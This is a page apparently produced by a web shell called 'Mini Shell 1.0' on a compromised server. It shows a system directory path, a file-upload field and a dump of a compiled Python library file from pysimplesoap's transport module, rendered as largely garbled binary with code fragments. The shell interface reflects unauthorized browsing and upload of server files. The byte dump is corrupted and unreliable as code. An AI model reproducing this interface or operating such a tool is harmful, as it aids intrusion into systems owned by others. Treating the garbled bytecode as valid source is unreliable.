HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/pysimplesoap/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/pysimplesoap/__pycache__/transport.cpython-311.pyc
�

��c(���dZddlZddlZddlZddlmZ	ddlZddlmZn#e	$rddl
mZddlmZYnwxYwddl
mZmZmZmZmZddlmZmZmZeje��Z	iZiZ Gd�d��Z!	ddl"Z"ej#d
krFee"j��ed��kr)ddl$Z%e%j&j'j(Z)d�Z*e*e%j&j'_(Gd�de"j+e!��Z,e,ed<e �-dg���.d��e �-dg���.d��e �-dg���.d��n
#e	$rdZYnwxYwGd�de!��Z/e/ed<e �-dg���.d��ej0dkr)e �-dg���.d��	ddl1Z1	ddl2m3Z3n$#e	$r	ddl3m3Z3n#e	$r	ddl4m3Z3YnwxYwYnwxYwGd�de!��Z5e5ed<e �-dg���.d��e �-dg���.d��e �-dg���.d��n#e	$rYnwxYwGd�d ��Z6dgfd!�Z7dgfd"�Z8d#�Z9e8��dS)$z%Pythonic simple SOAP Client transport�N)�LooseVersion)�	CookieJar)�request�)�
__author__�
__copyright__�__license__�__version__�TIMEOUT)�SimpleXMLElement�TYPE_MAP�StructFc��t|||��}|tjkr+|�tjtjd��|S)Nr)�
realsocket�socket�SOCK_STREAM�
setsockopt�IPPROTO_TCP�TCP_NODELAY)�family�type�proto�sockobjs    �8/usr/lib/python3/dist-packages/pysimplesoap/transport.py�
socketwrapr+sD���V�T�5�1�1���6�%�%�%����v�1�6�3E�q�I�I�I���c�$�eZdZed���ZdS)�
TransportBasec�*�|jt|vS�N)�
_wrapper_name�_http_facilities)�cls�feature_names  r�supports_featurezTransportBase.supports_feature:s��� �$4�\�$B�B�BrN)�__name__�
__module__�__qualname__�classmethodr%�rrrr9s2�������C�C��[�C�C�Crr�3z0.7.7c
�f�|	�dd��dz}
t||||||||
���dS)N�"disable_ssl_certificate_validationT)�port�key_file�	cert_file�timeout�context�check_hostname)�get�orig__init__)�self�hostr.r/r0r1r2r3�args�kwargs�chks           r�fixerr;IsN���*�*�A�4�H�H�4�O�C���t�$��#�W�g�"�
$�
$�
$�
$�
$�
$rc�.�eZdZdejzZdZdd�ZdS)�Httplib2Transportzhttplib2 %s�httplib2NFc�~�i}|r<ddl}tjd
d|ji|��|d<t�d|z��t
tj��t
d��kr||d<t
tj��t
d��kr|du|d<||d	<tjj	|fi|��dS)Nr�
proxy_type�
proxy_infozusing proxy %sz0.3.0r1z0.7.0r-�ca_certsr*)
�socksr>�	ProxyInfo�PROXY_TYPE_HTTP�log�inforr
�Http�__init__)r6r1�proxy�cacert�sessionsr9rCs       rrIzHttplib2Transport.__init__Xs����F��
3�����'/�'9�'d�'d�U�EZ�'d�^c�'d�'d��|�$����)�E�1�2�2�2��H�0�1�1�\�'�5J�5J�J�J�$+��y�!��H�0�1�1�\�'�5J�5J�J�J�?E��~��;�<�%+��z�"��M�"�4�2�2�6�2�2�2�2�2r�NNF)r&r'r(r>r
�_wrapper_versionr!rIr*rrr=r=Ts;������(�8�+?�?��"�
�	3�	3�	3�	3�	3�	3rr=r>rJrKr1c�<�eZdZdejzZdZdd�Zddifd�ZdS)	�urllib2Transportz
urllib2 %s�urllib2NFc��|�$|�d��std���|rtd���|rtd���g}tjddkrtjdks&tjddkrctjd	krSt	j��}d
|_tj|_|�	tj|�����|r3|�	tjt������tj|�}|j|_||_dS)Nr1z/timeout is not supported with urllib2 transportz-proxy is not supported with urllib2 transportz,cacert is not support with urllib2 transportr�)rS��	�)rVrSrF)r2)r%�RuntimeError�sys�version_info�ssl�create_default_contextr3�	CERT_NONE�verify_mode�appendrQ�HTTPSHandler�HTTPCookieProcessorr�build_opener�open�request_opener�_timeout)r6r1rJrKrL�handlersr2�openers        rrIzurllib2Transport.__init__us+�����)>�)>�y�)I�)I���P�Q�Q�Q��	P��N�O�O�O��	O��M�N�N�N���
�
�a�
 �A�
%�
%�#�*:�g�*E�*E�
�
�a�
 �A�
%�
%�#�*:�g�*E�*E��0�2�2�G�%*�G�"�"%�-�G���O�O�G�0��A�A�A�B�B�B��	F��O�O�G�7�	���D�D�E�E�E��%�x�0��$�k�����
�
�
r�GETc�X�tj|||��}	|�||j���}|���|���fS#tj$r>}|jdkr�|���|���fcYd}~Sd}~wwxYw)N)r1i�)rQ�RequestrcrdrG�read�	HTTPError�code)r6�url�method�body�headers�req�fs       rrzurllib2Transport.request�s����o�c�4��1�1��	&��#�#�C���#�?�?�A��6�6�8�8�Q�V�V�X�X�%�%��� �	&�	&�	&��v��}�}���6�6�8�8�Q�V�V�X�X�%�%�%�%�%�%�%�����	&���s�AA�B)�+3B$�B)�$B))NNNF)	r&r'r(rQr
rNr!rIrr*rrrPrPqsX������#�g�&9�9���M� � � � �0#(�d�B�&�&�&�&�&�&rrPrQrL)rS�)�StringIOc�.�eZdZejZdZdd�Zd�ZdS)�pycurlTransport�pycurlNFc�4�||_|pi|_||_dSr )r1rJrK)r6r1rJrKrLs     rrIzpycurlTransport.__init__�s��"�D�L���"�D�J� �D�K�K�Krc�`�tj��}|�tj|��d|jvr+|�tj|jd��d|jvr+|�tj|jd��d|jvr(|�tjd|jz��t��|_	|�tj
|j	j��|jr |�|j
|j��|�tj|jrdpd��|�tj|jrdpd��|�tj|j��|�tj|j��|dkr@|�tjd��|�tj|��|rXd	�|���D��}t,�|��|�tj|��|���|���i|j	���fS)
N�
proxy_host�
proxy_port�
proxy_userz%(proxy_user)s:%(proxy_pass)srrrS�POSTc�"�g|]\}}|�d|����
S)z: r*)�.0�k�vs   r�
<listcomp>z+pycurlTransport.request.<locals>.<listcomp>�s'��F�F�F�d�a��A�A�A�q�q�)�F�F�Fr)rw�Curl�setopt�URLrJ�PROXY�	PROXYPORT�PROXYUSERPWDrt�buf�
WRITEFUNCTION�writerK�CAINFO�SSL_VERIFYPEER�SSL_VERIFYHOST�CONNECTTIMEOUTr1rr}�
POSTFIELDS�itemsrF�debug�
HTTPHEADER�perform�close�getvalue)r6rmrnrorp�c�hdrss       rrzpycurlTransport.request�s����
�
�A�
�H�H�V�Z��%�%�%��t�z�)�)������t�z�,�'?�@�@�@��t�z�)�)�����)�4�:�l�+C�D�D�D��t�z�)�)�����,�.M�PT�PZ�.Z�[�[�[��z�z�D�H�
�H�H�V�)�4�8�>�:�:�:��{�
0������4�;�/�/�/�
�H�H�V�*�D�K�,=�A�,B��C�C�C�
�H�H�V�*�D�K�,=�A�,B��C�C�C�
�H�H�V�*�D�L�9�9�9�
�H�H�V�^�T�\�2�2�2����������a�(�(�(�����*�D�1�1�1��
2�F�F�g�m�m�o�o�F�F�F���	�	�$��������*�D�1�1�1�
�I�I�K�K�K�
�G�G�I�I�I��t�x�(�(�*�*�*�*rrM)	r&r'r(rw�versionrNr!rIrr*rrrvrv�sD������!�>�� �
�	!�	!�	!�	!�
	+�	+�	+�	+�	+rrvrwc��eZdZdZd�Zd�ZdS)�DummyTransportz$Testing class to load a xml responsec��||_dSr )�xml_response)r6r�s  rrIzDummyTransport.__init__�s��(����rc��t�d||��t�|��t�|��i|jfS)Nz%s %s)rFr�r�)r6�locationrnrorps     rrzDummyTransport.request�sG���	�	�'�6�8�,�,�,��	�	�'�����	�	�$�����4�$�$�$rN)r&r'r(�__doc__rIrr*rrr�r��s8������.�.�)�)�)�%�%�%�%�%rr�c���|�.	t|S#t$rt|�d����wxYw|s&t�dtd��St���}g}|D]=}|D]4}|t
�|g��vr|�|���5|}g}�>	|d}t|S#t$rtd|�����wxYw)Nz transport is not availabler>rQrz6no transport available which supports these features: )�_http_connectors�KeyErrorrWr4�keysr"r^�
IndexError)�library�features�current_candidates�new_candidates�feature�	candidate�candidate_names       r�get_http_wrapperr��s=����	M�#�G�,�,���	M�	M�	M��'�'�'�K�L�L�L�	M����
�M��#�#�J�0@��0K�L�L�L�*�.�.�0�0���N�����+�	1�	1�I��,�0�0��"�=�=�=�=��%�%�i�0�0�0��+�����0�+�A�.�� ��/�/���e�e�e��l�Ya�Ya�c�d�d�d�e���s��.�5C
�
C'c�0�t||��atS)z'Set a suitable HTTP connection wrapper.)r�rH)r�r�s  r�set_http_wrapperr�
s���G�X�.�.�D��Krc��tS)zReturn current transport class)rHr*rr�get_Httpr�s	���Kr):r��loggingrZrX�distutils.versionrrQ�	cookielibr�ImportError�urllibr�http.cookiejar�rrr	r
r�	simplexmlrr
r�	getLoggerr&rFrr�AF_INETrrr�r"rr>r��http.client�http�client�HTTPSConnectionrIr5r;rHr=�
setdefaultr^rPrYrw�	cStringIOrt�iorvr�r�r�r�r*rr�<module>r�s���,�+�����
�
�
�
�
�
�
�
�*�*�*�*�*�*�)��N�N�N�#�#�#�#�#�#�#���)�)�)�)�)�)�)�)�)�(�(�(�(�(�(�(�(�)����K�J�J�J�J�J�J�J�J�J�J�J�J�J�9�9�9�9�9�9�9�9�9�9��g���!�!�������C�C�C�C�C�C�C�C�*B��O�O�O�
�{�S���\�\�(�*>�?�?�<�<�PW�CX�CX�X�X������{�2�;��	$�	$�	$�05���#�,�
3�3�3�3�3�H�M�=�3�3�3�($5��Z� ������,�,�3�3�J�?�?�?�����"�-�-�4�4�Z�@�@�@����	�2�.�.�5�5�j�A�A�A�A��7�	�	�	��G��D�	����B$&�$&�$&�$&�$&�}�$&�$&�$&�L/�������J��+�+�2�2�9�=�=�=���v������	�2�.�.�5�5�i�@�@�@�8@��M�M�M�$�&�&�&�&�&�&�&���$�$�$�	$�)�)�)�)�)�)�)���	$�	$�	$�#�#�#�#�#�#�#�#�	$������$����&+�&+�&+�&+�&+�-�&+�&+�&+�P"1��X�������,�,�3�3�H�=�=�=�����"�-�-�4�4�X�>�>�>����	�2�.�.�5�5�h�?�?�?�?��m�	�	�	��D�	����r
%�
%�
%�
%�
%�
%�
%�
%�"�B�0�0�0�0�B"�B��������������sg�
!�5�5�3AE�E'�&E'�J� G'�'H�-G4�3H�4H�?H�H�H�H�J"�!J"